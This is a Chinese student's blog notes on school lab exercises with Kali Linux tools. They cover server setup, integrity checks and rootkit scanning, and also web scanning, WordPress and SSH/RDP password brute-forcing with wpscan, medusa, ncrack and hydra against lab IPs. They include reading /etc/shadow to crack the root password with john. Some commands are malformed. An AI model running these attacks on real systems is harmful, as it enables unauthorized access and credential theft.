惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

N
Netflix TechBlog - Medium
Blog — PlanetScale
Blog — PlanetScale
月光博客
月光博客
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
爱范儿
爱范儿
量子位
博客园 - 聂微东
Engineering at Meta
Engineering at Meta
WordPress大学
WordPress大学
GbyAI
GbyAI
MyScale Blog
MyScale Blog
IT之家
IT之家
P
Proofpoint News Feed
M
MIT News - Artificial intelligence
The Cloudflare Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Hugging Face - Blog
Hugging Face - Blog
The Register - Security
The Register - Security
Microsoft Security Blog
Microsoft Security Blog
博客园_首页
MongoDB | Blog
MongoDB | Blog
F
Fortinet All Blogs
博客园 - 三生石上(FineUI控件)
Y
Y Combinator Blog
雷峰网
雷峰网
V
Visual Studio Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
Last Week in AI
Last Week in AI
博客园 - 叶小钗
D
DataBreaches.Net
B
Blog
B
Blog RSS Feed
大猫的无限游戏
大猫的无限游戏
aimingoo的专栏
aimingoo的专栏
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
The GitHub Blog
The GitHub Blog
云风的 BLOG
云风的 BLOG
Recent Announcements
Recent Announcements
阮一峰的网络日志
阮一峰的网络日志
小众软件
小众软件
腾讯CDC
T
Threat Research - Cisco Blogs
SecWiki News
SecWiki News
Martin Fowler
Martin Fowler
D
Docker
Cisco Talos Blog
Cisco Talos Blog
T
Tenable Blog
Webroot Blog
Webroot Blog
宝玉的分享
宝玉的分享

猫涅的秘密结社

hackthissite-org 数据库原理相关 关于在与我互动前你可能需要了解的事 信安roadmap 个人主页开发汇报 六级生词速记本——附考后感想 数据结构C++自学相关 NewStarCTF-2025 三款steam付费番茄钟软件测评 夏令营-ai hello-world qt环境下的c++程序编写 新新的年 qq机器人配置二三事 搞点java 读书笔记-当下的力量 网页小修时间 glibc更新记录 Vulhub在线靶场记录 Vulhub记录(旧的) 神奇脚本在哪里-CTF之Pwn BaseCTF高校联合新生赛2024 逆逆逆逆逆向-CTF之reverse 求解 夺旗时间 学学学 渗透测试相关 协议/漏洞/网络 最新的知识点 数据分析相关 zico2解析 OverTheWire-bandit解析 CTF实战相关2 靶机解析-gigachad ctf实战相关1 复习time 开学季 维修时间 小小修整 每周靶机之Beelzebub 读书笔记-如何阅读一本书 DC-4解析 DC-2解析 每周靶机之ted 靶机-DC-1 每周靶机之bob potato解析 xss跨站点脚本攻击 每周靶机之Tommyboy1dot0 owasp命令执行漏洞 owasp文件包含漏洞 每周靶机之WALLABY'S-NIGHTMARE owasp上传漏洞 Hackademic.RTB1 owasp与sql注入与sqlmap liunx中sudo服务相关知识 liunx中ssh服务相关知识 moneybox解析 C语言相关1 关于加入aplayer的方式 再来一次 关于在next7.8.0中建设评论功能这件事 目前的进展 编辑小提示
学校实训-笔记
nirvana_felis · 2024-01-08 · via 猫涅的秘密结社

学校寒假放了点作业出来
做个笔记

实验 1 配置Kali

实验场景
小明是网络工程师,某天他收到上级领导命令,需要在网络中部署一台Kali服务器,为…

实验环境
Kali 2016

实验工具

实验目的
对Kali进行网络配置,修改主机名和root密码,修改源配置文件并进行系统更新

实验步骤

1. 修改主机名

  • 临时修改主机名,重启会还原
  • 永久修改主机名,需要重启才能生效
  • 修改 /etc/hosts 配置文件

2. 配置Kali的网络

  • 修改本机的网卡设置,设置为dhcp获取IP方式,也可以设置成静态IP,需要给网卡配置IP地址
    1
    vi /etc/network/interfaces

3. 查看当前用户是否是root,修改root密码

4. 修改Kali的源配置文件,添加国内的源,并进行系统升级

  • 添加中科大的源
    1
    2
    3
    vi /etc/apt/sources.list
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
  • 执行更新指令
    1
    apt-get update && apt-get upgrade && apt-get dist-upgrade
    等待更新完成

实验总结
Kali版本众多,最新版本中会添加一些最新的工具和软件,需要持续进行更新。

实验 2 Web应用程序-Dirb

实验场景
小明是网络工程师,某天他收到上级领导命令,需要在Kali服务器使用Dirb软件,为…

实验环境
攻击机Kali 2018
靶机Windows 7 192.168.163.

实验工具
Dirb

实验目的
了解并掌握Dirb对网站进行扫描

实验步骤

DIRB是一个Web内容扫描。它看起来对现有(和/或隐藏)的Web对象。它主要的工作原理是发动了对Web服务器的基于字典的攻击和分析的响应。

DIRB带有易于使用的一组预配置的攻击生词,但你可以用你自定义的词表。此外DIRB有时可以作为一个典型的CGI扫描器,但要记住是一个内容扫描仪没有漏洞扫描器。

DIRB主要目的是在专业的Web应用程序的审核帮助。特别是在与安全相关的测试。它没有涵盖的经典网页漏洞扫描器一些漏洞。 DIRB寻找其他通用CGI扫描器无法查找特定的Web对象。它不搜索的漏洞,也没有寻找网页内容,可以vulnerables。

直接在终端启动软件

1
dirb

扫描Web服务器(http://192.168.163.147:88/)利用系统自带字典文件
(/usr/share/wordlists/dirb/common.txt)

1
dirb http://192.168.163.147:88/ /usr/share/wordlists/dirb/common.txt

使用自备字典进行扫描

1
dirb http://192.168.163.147:88 /root/test.txt

实验总结
掌握使用Dirb对Web进行扫描,查看软件的扫描报告文件

实验 3 报告工具-pipal

实验场景
小明是网络工程师,某天他收到上级领导命令,需要在Kali服务器使用pipal工具,为…

实验环境
Kali 2018

实验工具
Pipal

实验目的
掌握密码分析工具pipal的使用方法

实验步骤

所有这些工具确实是给你的统计数据和信息,以帮助您分析密码。真正的工作是由你解释的结果进行。

查看帮助

1
pipal –h

分析本地password.txt文件,可以分析密码文件的词频等信息

1
pipal /root/password.txt

分析并显示前 5 个密码(-t 5),使用给定文件作为输入(/usr/share/wordlists/nmap.lst):

1
pipal –t 5 /usr/share/wordlists/nmap.lst

实验总结
pipal是一款词频分析工具,可以用来在字典中筛选出出现频率高的密码

实验 4 漏洞分析-unix-privesc-check

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用unix-privesc-check,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

unix-privesc-check

实验目的

了解unix-privesc-check工具的使用

实验步骤

1. 查看帮助

1
unix-privesc-check -h
  • standard :标准”模式:速度优化检查大量的安全设置。
  • detailed :“详细”模式:与标准模式相同,但也检查打开文件的perms句柄和被调用的文件(例如从shell脚本分析,链接的.so文件)。 这种模式很慢。

2. 使用标准模式扫描本地

1
unix-privesc-check standard

3. 把报告保存到本地文件

1
unix-privesc-check > baogao.txt

4. 查看报告

1
cat baogao.txt

实验总结

unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。

实验5 kali-漏洞扫描-lynis

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用lynis工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

lynis

实验目的

了解漏洞扫描工具lynis的使用

实验步骤

1. 启动lynis并列出支持的参数

1
lynis

2. 对本地进行安全扫描

1
lynis audit system

3. 查看扫描日志(需要注意的是,每次审计都会覆盖原日志文件)

日志保存在/var/log/lynis-report.dat

1
grep –E “^warning|^suggestion” /var/log/lynis-report.dat

4. 检查更新

1
lynis update info --no-colors

5. 创建Lynis计划任务

如果你想为你的系统创建一个日扫描报告,你可以设置cron:

1
crontab -e

添加cron任务:

实验总结

观察lynis工具能否扫描出系统存在的漏洞,如果存在该如何进行加固

实验6 kali-漏洞扫描-WPScan

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用pipal工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 kali 2018
靶机 windows 7 192.168.163.

实验工具

攻击机:wpscan
靶机:wordpress

实验目的

了解wpscan的使用

实验步骤

1. 简单的攻击

1
wpscan –u 192.168.163.147/wordpress

2. 列出用户名列表

1
wpscan –u 192.168.163.147/wordpress –e u vp

3. 通过字典爆破用户密码

1
wpscan –u 192.168.163.147/wordpress –e u –wordlist /root/password.txt

4. 了解其它参数

1
wpscan – h

实验总结

思考WPScan的作用场景是否有特定版本号要求

实验 7 密码攻击-cewl

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用cewl工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018
windows 7 192.168.163.

实验工具

cewl

实验目的

掌握密码爬取工具cewl的使用

实验步骤

1. 直接在终端启动cewl

1
cewl –h

2. 爬取最小单词长度为 5

1
cewl 192.168.163.147:88 –m 5

3. 爬取网站深度为 5 的关键字

1
cewl – d 5 192.168.163.147:88

4. 收集包含emali地址信息

1
cewl – e 192.168.163.147:88

5. 统计每个单词出现的次数

1
cewl 192.168.163.147:88 –c

6. 可以多个参数一起使用

1
2
cewl 192
.168.163.147:88 -m 3 -d 3 -e -c -v -w a.txt

7. 查看a.txt字典

1
cat a.txt

实验总结

使用通过cewl工具爬取的字典文件,使用它去爆破网站的后台

实验 8 取证工具-dumpzilla

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用dumpzilla工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

Dumpzilla

实验目的

了解取证工具Dumpzilla的使用

实验步骤

1. 查看dumpzilla工具帮助

1
Dumpzilla – h

2. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)的历史访问记录

1
dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' –History

3. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)的Cookies

1
dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' –-Cookies

4. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)和转储以外的所有影像数据(-All)

1
dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' --All

实验总结

思考dumpzilla工具除了分析本机的浏览器文件是否还能分析远程主机的配置文件。

实验9 apache服务配置

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器安装apache服务,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

apache 2

实验目的

掌握kali下apache的配置

实验步骤

查看本机安装的apache版本号

1
apachectl –v

启动apache服务

1
/etc/init.d/apache2 start

重启apache服务

1
/etc/init.d/apache2 restart

停止apache服务

1
/etc/init.d/apache2 stop

下载默认首页并查看网页内容

1
wget http://127.0.0.1

进入apache默认首页的目录

1
cd /var/www/html

替换默认首页内容为 123

1
echo "123" > index.html

重启apache服务

1
/etc/init.d/apache2 restart

下载默认首页

1
wget http://127.0.0.1

查看下载首页内容

1
cat index.html

实验总结

在kali上成功运行个人网页

实验 10 产品安全分析工具

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用glob工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali
靶机:centos 6.9
靶机ip地址:192.168.163.136

实验工具

glob

实验目的

掌握glob的使用

实验步骤

启动kali中cisco的安全工具

1
cge.pl

选择一个漏洞,并按照所给的格式进行测试,网址后面添加漏洞编号

1
cge.pl http://192.168.163.136/index.html 3

CAT -h 主机名 - w 字典文件 - a 密码文件 - i

(直接在终端输入CAT直接启动,这里没有cisco设备,无法复现实验)

实验总结

如果有cisco设备,使用glob工具对其进行检测

实验11 pure-ftpd配置

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用pure-ftpd工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali

实验工具

pure-ftpd

实验目的

掌握按照和配置pure-ftpd

实验步骤

安装 Pure-FTPd

1
apt-get install pure-ftpd

修改配置

1
2
3
4
5
cd /etc/pure-ftpd/conf
echo no > Bind
echo no > PAMAuthentication
echo no > UnixAuthentication
ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50 pure

创建FTP服务要用到的用户组和用户

1
groupadd ftpgroup

向创建的组里面添加新用户

1
useradd -g ftpgroup -d /dev/null -s /bin/false ftpuser

为FTP文件新建一个目录

1
mkdir -p /home/pubftp

在ftp目录下新建一个测试文件

1
echo "test file" > /home/pubftp/test.txt

在FTP目录里面添加用户目录

1
mkdir /home/pubftp/sam

给FTP服务添加一个新的用户和密码

1
pure-pw useradd sam -u ftpuser -g ftpgroup -d /home/pubftp/sam

更新Pure-FTPd的数据库

1
pure-pw mkdb

启动FTP服务

1
service pure-ftpd start

启动FTP后,测试该服务

1
ftp 127.0.0.1

实验总结

思考这里的pure-ftpd和Linux的FTP以及vsftpd是否一样

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用db_import工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
centos 6.9

**实验工具

**

Metasploit
Nmap

实验目的

把nmap扫描的数据导入metasploit

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性
1
ping 192.168.127.133 -c 4
  1. 在靶机centos上测试与kali的连通性
1
ping 192.168.127.134 -c 4
  1. 在kali上使用nmap进行局域网存活扫描并把结果保存为db.xml
1
nmap -sP 192.168.127.0/24 -oX db.xml
  1. 查看刚保存的文件
1
cat db.xml
  1. 在kali中启动metasploit并查看数据库中是否有数据,如果有数据使用hosts -d进行清空
1
2
3
msfconsole
hosts
hosts -d
  1. 利用db_import把刚刚nmap扫描的数据导入到数据库中(注意文件路径)
1
db\_import /root/db.xml
  1. 使用hosts查看数据
1
hosts
  1. 过滤出其中开启22端口的主机
1
services -p 22 -c name,proto
  1. 过滤出开启21端口的主机
1
services -p 21 -c name,proto

实验总结

掌握msf下db_import导入数据功能的使用

实验13 web扫描-Nikto

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Nikto工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

Nikto

实验目的

掌握Nikto的使用

实验步骤

Nikto 是一款Perl语言开发的开源代码的、功能强大的WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件。

扫描内容有以下几个方面:

  1. 软件版本
  2. 搜索存在安全隐患的文件(如:某些web维护人员备份完后,遗留的压缩包,若被下载下来,则获得网站源码)
  3. 服务器配置漏洞(组件可能存在默认配置)
  4. WEB Application层面的安全隐患(XSS,SQL注入等)
  5. 避免 404 误判
1
nikto -list-plugins

制定网站目录扫描

1
nikto –host http://192.168.21.128/index/

指定一个或多个端口进行扫描

1
nikto –host 192.168.21.128 –port 80,443

还可以进行批量扫描

1
nikto –host host.txt

把扫描结果导成文件保存在本地

1
nikto –host 192.168.21.128 –port 80 –output nikto.html

cat查看该文件也可以使用火狐打开该文件

1
2
cat nikto.html
firefox nikto.html

实验总结

观察Nikto的端口扫描和nmap的扫描结果是不是一样,如果不一样,谁的结果更准确一点

实验 14 哈希工具Hash-Identifier

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hash-Identifier
工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

hash-identifier

实验目的

了解工具的使用

实验步骤

1. 哈希值识别

哈希值是使用HASH算法通过逻辑运算得到的数值。不同的内容使用HASH算法运算后,得到的哈希值不同。当我们拿到一段hash值时该如何去判断它是属于那种算法。

在终端中启动hash-identifier,提示输入hash值。

1
hash-identifier

2. 识别测试数据

打开root目录下的HASH.txt文件,里面有几组测试数据,后面是hash编码。

  • 复制第一组数据到hash-identifier,判断该hash值最大可能的算法是MD5,最小可能性的是下面其它算法。
1
hash-identifier [first\_hash\_value]
  • 复制第二组数据到hash-identifier,识别结果是MD5(phpBB3)。
1
hash-identifier [second\_hash\_value]
  • 复制第三组数据到hash-identifier,识别结果是MD5(Unix)。
1
hash-identifier [third\_hash\_value]
  • 复制第四组数据到hash-identifier,识别结果是MD5(Wordpress)。
1
hash-identifier [fourth\_hash\_value]
  • 复制第五组数据到hash-identifier,识别结果是SHA-512。
1
hash-identifier [fifth\_hash\_value]
  • 复制第六组数据到hash-identifier,识别结果最可能的算法是Tiger-192。
1
hash-identifier [sixth\_hash\_value]

实验总结

验证Hash-Identifier工具对MD5等常见编码是否能成功识别。

实验 15 离线攻击工具-John工具

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用John工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali

实验工具

john

实验目的

掌握kali下john工具的使用

实验步骤

1. 启动John工具

先启动john软件,在终端输入以下命令。

1
john

2. 获取本机密码散列

利用john破解密码,首先需要散列,这里我们把本机的密码散列作为密码。

1
unshadow /etc/passwd /etc/shadow > pasd

3. 使用John破解密码

直接使用本地的散列去进行破解,破解出本机的root密码。

1
john pasd

实验总结

思考John工具成功爆破的前提是在哪?

实验 16 密码爆破-Medusa

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Medusa工具,
来检测内网中是否存在弱口令服务,为避免在部署时候出现什么问题,小明首先在自己的虚
拟机上搭建一遍环境。

实验环境

攻击机 kali 2018
靶机 centos6.9

实验工具

medusa

实验目的

了解并掌握密码爆破软件medusa的基本用法

实验步骤

1. 启动Medusa

Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。

在终端输入以下命令。

1
medusa

2. 查看可用模块

1
medusa -d

3. 查看模块帮助

1
medusa -M telnet -q

4. 爆破靶机的ssh

需要在本机先新增一个username.txtpassword.txt

1
medusa -h 192.168.163.150 -u username.txt -P password.txt -M ssh

实验总结

使用medusa工具批量爆破内网ip段,检测是否存在弱口令服务。

实验 17 远程爆破工具-Ncrack

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Ncrack工具,
为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 kali 2018 192.168.163.154
靶机 windows 7 192.168.163.134

实验工具

Ncrack

实验目的

了解并掌握Ncrack工具的使用方法

实验步骤

1. 查看软件版本号

1
2
3
4
5
6
ncrack –v
``
`
\*\*2. 查看Ncrack帮助\*\*
```bash
ncrack --help

3. 爆破windows主机的3389

需要先添加一个usename.txtpassword.txt文件。

1
ncrack -vv -U usename.txt -P password.txt 192.168.163.134:3389 CL=1 -f

根据爆破结果,使用test/111111使用rdesktop可以正常连接。

实验总结

思考同样的爆破工具Ncrack和Medusa的差异和速度上有什么区别。

实验 18 主机系统识别-p0f

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用主机系统识别
p0f工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali

实验工具

p0f
xprobe2

实验目的

掌握使用工具来进行主机系统识别

实验步骤

1. 启动p0f监听

p0f是一款被动探测工具,通过分析网络数据包来判断操作系统类型。同时p0f在网络分析方面功能强大,可以用它来分析NAT、负载均衡、应用代理等。以下命令为监听网卡eth0并开启混杂模式。

1
p0f -i eth0 -p

2. 浏览器访问网页

通过浏览器去访问网页,能通过p0f观察到对方的系统。

实验总结

思考kali上最经典的扫描工具Nmap跟实验中p0f工具在识别结果上谁更准确。

实验 19 主机系统识别-xprobe2

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用xprobe 2 工具,
为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali2016

实验工具

xprobe2

实验目的

使用xprobe2进行远程系统识别

实验步骤

xprobe2是一款使用ICMP消息进行操作系统探测的软件,探测结果可以和Nmap互为参照。但是该软件目前公开版本为2005年的版本,对老的操作系统探测结果较为准确。对远程主机探测,可以直接通过xprobe2并制定远程主机ip或者主机名。

1
xprobe2 [remote\_host\_ip\_or\_name]

实验总结

思考xprobe 2 识别主机方式跟nmap和p0f有什么不一样,可以通过抓包去分析。

实验 20 数据取证-Hashdeep

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hashdeep工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

hashdeep

实验目的

了解数据取证工具hashdeep工具的使用

实验步骤

  1. 在数据取证中,通常需要验证文件的哈希值,以判断文件是否已知好文件,或者文件是否被修改过。Kali Linux提供专用工具hashdeep。该工具的早期版本名称为md5deep。该工具可以批量计算文件的哈希值,并和哈希值列表进行比对。该工具支持多种哈希算法,可以避免哈希碰撞问题。为了满足不同任务的需要,hashdeep提供多种检查模式,如审计模式、正向模式、反向模式。同时,该工具支持大小写不敏感和UTF编码, 以满足Windows文件系统分析需要。

  2. 直接启动软件:

    1
    hashdeep –h
  3. 直接生成本地文件hash值:

    1
    2
    3
    4

    hashdeep –l ../\*

    hashdeep –r test.txt > hash.txt
  4. 根据已知的hash值文件进行hash校验,如果一样即通过,如果不一样即审核不通过:

    1
    hashdeep -r -a hash.txt test.txt

实验总结

了解了hashdeep工具,以后在下载文件时,可以通过hashdeep比对文件的hash是否一致来保障文件的安全性。

实验 21 NC端口通信实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用NC工具和centos进行通信,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
centos 6.9

实验工具

NC

实验目的

Nc是netcat的简写,有着网络界的瑞士军刀,因为它短小精悍、功能实用,是一款简单可靠的网络工具,学习它的基本使用

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    1
    ping 192.168.127.129 -c 4
  2. 在靶机centos上使用nc开启服务端口:

    1
    nc -l 9999
  3. 在kali上使用nmap对靶机进行端口扫描,发现9999端口是开放状态:

    1
    nmap -p1-65535 192.168.127.129
  4. 在靶机上使用telnet进行测试9999端口是否能访问:

    1
    telnet 192.168.127.129
  5. 在kali上使用nc语句和靶机通信:

    1
    nc 192.168.127.129 9999
  6. 在kali上输入语句的同时在靶机上也会进行实时显示:

    1
    My name is test
  7. 在centos上进行查看发现两者一样的显示。

  8. 在靶机使用nc开启udp端口:

    1
    nc -ul 9999
  9. 开启tcp时可以用telnet进行测试端口是否开启,但开启udp端口时,telnet却不能进行检测,此刻就需要使用到nc的udp端口检测语句:

    1
    nc -vuz 192.168.163.127.129 9999

实验总结

掌握kali和centos使用NC进行通信的实验。

实验 22 系统检查-Chkrootkit

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Chkrootkit工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

chkrootkit

实验目的

掌握chkrootkit工具的使用

实验步骤

  1. chkrootkit是用来监测rootkit是否被安装到当前系统中的工具:

    1
    chkrootkit

    如果发现有异常,会报出“INFECTED”字样。

  2. 查看其它命令:

    1
    chkrootkit –h
  3. 跳过NFS挂载目录进行检测:

    1
    chkrootkit -n
  4. 查看chkrootkit版本号:

    1
    chkrootkit –V

实验总结

尝试升级chkrootkit来检测本机是否存在疑问的文件。

实验 23 信息收集-Dmitry

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Dmitry工具,为避免在部署时候出现什么问题,小明首先在自己的

虚拟机上搭建一遍环境。

实验环境

kali 2018 攻击机
windows 7 靶机 192.168.163.147

实验工具

dmitry

实验目的

掌握信息收集工具dmitry的使用

实验步骤

  1. 直接在终端中启动工具:

    1
    dmitry -h
  2. 对主机进行端口扫描:

    1
    dmitry –p 192.168.163.147

    将输出保存到%host.txt或由-o文件指定的文件:

    1
    dmitry –p 192.168.163.147 –o test
  3. 扫描端口同时读取从扫描端口接收的banner:

    1
    dmitry – p 192.168.163.147 –b
  4. 对主机的域名执行whois查找(需要联网操作):

    1
    dmitry – w baidu.com
  5. 在主机上检索Netcraft.com信息(需要联网操作):

    1
    dmitry – n baidu.com
  6. 执行搜索可能的子域(需要联网操作):

    1
    dmitry – s baidu.com
  7. 执行搜索可能的电子邮件地址(需要联网操作):

    1
    dmitry – e baidu.com

实验总结

思考在Dmitry工具中如果探测内网主机是否需要联网。

实验 24 信息收集-Netdiscover

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Netdiscover工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

netdiscover

实验目的

了解netdiscover工具的使用

实验步骤

  1. 查看帮助:

    1
    netdiscover –h
  2. 扫描本地网卡设备:

    1
    netdiscover –i eth0
  3. 发送每个arp请求的次数,测试具有丢包的网络:

    1
    netdiscover –c 192.168.21.1
  4. 扫描给定范围的主机:

    1
    netdiscover –r 192.168.21.0/24
  5. 使用被动模式,只进行嗅探:

    1
    netdiscover –p

实验总结

掌握Netdiscover的嗅探模式,在特定地方有奇效。

实验25 NC传输文件实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用NC工具和centos进行文件传输实验,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
centos 6.9

实验工具

NC

实验目的

Nc是netcat的简写,有着网络界的瑞士军刀,因为它短小精悍、功能实用,是一款简单可靠的网络工具,使用nc进行文件传输

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    1
    ping 192.168.127.129 -c 4
  2. 在kali里面新建一个ceshi.txt文件并查看:

    1
    echo "this is test" > ceshi.txt
  3. 在靶机centos上使用nc监听端口9999,接受到的所有数据都写到test文件里:

    1
    nc -l 9999 > test.txt
  4. 在kali上面使用nc把本地的ceshi文件发送给靶机:

    1
    nc 192.168.127.129 9999 < ceshi.txt
  5. 在靶机上查看是否有文件生成(如果靶机接受文件不会自动停止,那就使用ctrl+c中止文件接受语句):

    1
    ls
  6. 在靶机上查看传输过来的文件看内容是否一致:

    1
    cat test.txt

实验总结

掌握kali和centos使用NC传输文件的操作。

实验 26 抓包工具–Netsniff-ng

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用
netsniff-ng工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环
境。

实验环境

kali 2018

实验工具

netsniff-ng

实验目的

掌握netsniff-ng工具使用

实验步骤

  1. 抓取TCP或者UDP协议报文保存到dump.pcap
1
netsniff-ng --in eth0 --out dump.pcap tcp or udp
  1. 直接打开会出现乱码,需要结合其他分析工具进行分析数据包
1
capinfo dump.pcap
  1. 测试网卡最高传输速率,方法是先用trafgen产生traffic让网卡满负荷,再用netsniff-ng抓包分析
1
netsniff-ng -i eth0 - o /dev/shm/c1.pcap -s -n 1000000 -b 0
  1. 分析抓包的数据包
1
capinfos /dev/shm/c1.pcap

实验总结

对比Netsniff-ng和Wireshark的差异性在那。

实验27 Hash算法之MD5

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用
MD5工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

md5sum

实验目的

掌握通过md5sum的使用和对比md5的HASH值

实验步骤

  1. 计算一个新建文件test.txt的md5值
1
md5sum test.txt
  1. 修改文件中内容再重新计算md5值,对比之下发现md5变了
1
md5sum test.txt
  1. 通过已知的md5值跟文件的md5值进行对比
1
md5sum –c md5.txt

实验总结

掌握kali自带的MD5计算小工具的使用

实验28 HASH算法之SHA

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用SHA工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

shasum

实验目的

掌握shasum工具等使用和对比文件HASH值

实验步骤

  1. 直接输出test.txt的SHA值
1
shasum test.txt
  1. 将sha1值输出到sha1.txt中
1
sha1sum test.txt > sha1.txt
  1. 通过已知的sha1对文件的完整性进行比对
1
sha1sum –c sha1.txt

实验总结

利用SHA1来快速比对文件的hash值是否发生变化

实验 29 黑客安防工具-Hydra

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hydra工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
windows 7

实验工具

hydra

实验目的

了解hydra并掌握使用hydra工具

实验步骤

  1. 在终端输入hydra,可以看到相关使用语法
1
hydra
  1. 参数列表:

    • -R 恢复上次停止的破解进度,继续破解
    • -S 使用SSL连接
    • -s PORT if the service is on a different default port, define it here
    • -s 端口号 在这里自定义要破解的端口号(替代默认端口)
    • -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
    • -l 登录名 或者 - L 字典 使用登录名 或者 从字典中获取登录名单
    • -p PASS or -P FILE try password PASS, or load several passwords from FILE
    • -p 密码 或者 - P 字典 使用单个密码 或者 从字典中获取密码列表
    • -e ns 附加选项,n 是表示空密码,s 尝试使用密码进行破解
    • -C FILE colon-separated “login:pass” format, instead of -L/-P options
    • -C 文件 使用冒号分割格式 例如 “登录名:密码”来代替-L/-P参数
    • -M FILE server list for parallel attacks, one entry per line
    • -M 文件 服务器列表(译者:ip列表),一行一条
    • -o FILE write found login/password pairs to FILE instead of stdout
    • -o 文件 将找到的密码写在文件里面 以此代替输出到屏幕上
    • -f 在使用-M参数以后 找到第一对登录名或者密码的时候中止破解
    • -t TASKS run TASKS number of connects in parallel (default: 16)
    • -t 计划任务 同时运行几个任务(默认是

: 16)

  • -w TIME defines the max wait time in seconds for responses (default: 30)
  • -w 时间 定义超时时间秒数(默认是: 30)
